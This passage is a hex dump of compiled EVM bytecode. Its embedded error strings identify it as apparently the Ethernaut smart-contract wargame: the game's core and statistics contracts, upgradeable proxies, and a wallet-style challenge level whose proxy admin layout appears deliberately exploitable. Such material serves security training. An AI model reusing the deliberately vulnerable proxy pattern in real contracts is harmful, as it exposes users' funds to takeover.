000000000000006044820152606401610251565b335f908152600360205260408120805434929061079b9084906109f9565b9091555050565b5f546001600160a01b031633146107fb5760405162461bcd60e51b815260206004820152600d60248201527f4e6f7420746865206f776e6572000000000000000000000000000000000000006044820152606401610251565b6001600160a01b03165f908152600260205260409020805460ff19166001179055565b80356001600160a01b0381168114610834575f80fd5b919050565b5f60208284031215610849575f80fd5b6108528261081e565b9392505050565b5f60208284031215610869575f80fd5b5035919050565b5f8060208385031215610881575f80fd5b823567ffffffffffffffff80821115610898575f80fd5b818501915085601f8301126108ab575f80fd5b8135818111156108b9575f80fd5b8660208260051b85010111156108cd575f80fd5b60209290920196919550909350505050565b5f805f80606085870312156108f2575f80fd5b6108fb8561081e565b935060208501359250604085013567ffffffffffffffff8082111561091e575f80fd5b818701915087601f830112610931575f80fd5b81358181111561093f575f80fd5b886020828501011115610950575f80fd5b95989497505060200194505050565b634e487b7160e01b5f52603260045260245ffd5b5f808335601e19843603018112610988575f80fd5b83018035915067ffffffffffffffff8211156109a2575f80fd5b6020019150368190038213156109b6575f80fd5b9250929050565b818382375f9101908152919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156109f3576109f36109cc565b92915050565b808201808211156109f3576109f36109cc56fea26469706673582212204a37ec8db90e9291144416a71f631fa008581c61934653fce5bf14a61bcb763464736f6c63430008180033608060405234801561000f575f80fd5b506040516107a43803806107a483398101604081905261002e916101f9565b818161005b60017f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd6102c3565b5f8051602061078483398151915214610076576100766102e8565b61007f82610116565b8051156100eb575f826001600160a01b03168260405161009f91906102fc565b5f60405180830381855af49150503d805f81146100d7576040519150601f19603f3d011682016040523d82523d5f602084013e6100dc565b606091505b50509050806100e9575f80fd5b505b5050600180546001600160a01b0319166001600160a01b039490941693909317909255506103179050565b6001600160a01b0381163b6101975760405162461bcd60e51b815260206004820152603660248201527f5570677261646561626c6550726f78793a206e657720696d706c656d656e746160448201527f74696f6e206973206e6f74206120636f6e747261637400000000000000000000606482015260840160405180910390fd5b5f8051602061078483398151915255565b80516001600160a01b03811681146101be575f80fd5b919050565b634e487b7160e01b5f52604160045260245ffd5b5f5b838110156101f15781810151838201526020016101d9565b50505f910152565b5f805f6060848603121561020b575f80fd5b610214846101a8565b9250610222602085016101a8565b60408501519092506001600160401b038082111561023e575f80fd5b818601915086601f830112610251575f80fd5b815181811115610263576102636101c3565b604051601f8201601f19908116603f0116810190838211818310171561028b5761028b6101c3565b816040528281528960208487010111156102a3575f80fd5b6102b48360208301602088016101d7565b80955050505050509250925092565b818103818111156102e257634e487b7160e01b5f52601160045260245ffd5b92915050565b634e487b7160e01b5f52600160045260245ffd5b5f825161030d8184602087016101d7565b9190910192915050565b610460806103245f395ff3fe60806040526004361061005d575f3560e01c8063a02fcc0a11610042578063a02fcc0a146100cd578063a6376746146100ec578063f851a440146101345761006c565b806326782247146100745780633659cfe6146100ae5761006c565b3661006c5761006a610153565b005b61006a610153565b34801561007f575f80fd5b505f54610092906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b3480156100b9575f80fd5b5061006a6100c83660046103fd565b610185565b3480156100d8575f80fd5b5061006a6100e73660046103fd565b6101f0565b3480156100f7575f80fd5b5061006a6101063660046103fd565b5f805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b34801561013f575f80fd5b50600154610092906001600160a01b031681565b61018361017e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b6102ff565b565b6001546001600160a01b031633146101e45760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f74207468652061646d696e00000000000000000060448201526064015b60405180910390fd5b6101ed8161031d565b50565b6001546001600160a01b0316331461024a5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f74207468652061646d696e00000000000000000060448201526064016101db565b5f546001600160a01b038281169116146102ce576040805162461bcd60e51b81526020600482015260248101919091527f4578706563746564206e65772061646d696e206279207468652063757272656e60448201527f742061646d696e206973206e6f74207468652070656e64696e672061646d696e60648201526084016101db565b505f546001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909216919091179055565b365f80375f80365f845af43d5f803e808015610319573d5ff35b3d5ffd5b6103268161035c565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6001600160a01b0381163b6103d95760405162461bcd60e51b815260206004820152603660248201527f5570677261646561626c6550726f78793a206e657720696d706c656d656e746160448201527f74696f6e206973206e6f74206120636f6e74726163740000000000000000000060648201526084016101db565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b5f6020828403121561040d575f80fd5b81356001600160a01b0381168114610423575f80fd5b939250505056fea2646970667358221220897a58963b49b36715afa3e1444c9f7bdb8e9025fc8a7090ef4d5c9d90a80b3664736f6c63430008180033360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbca2646970667358221220b6d3185f479a26c66ddfa2f63b5f9a346a19123d447948f65b297f88f94074f164736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ff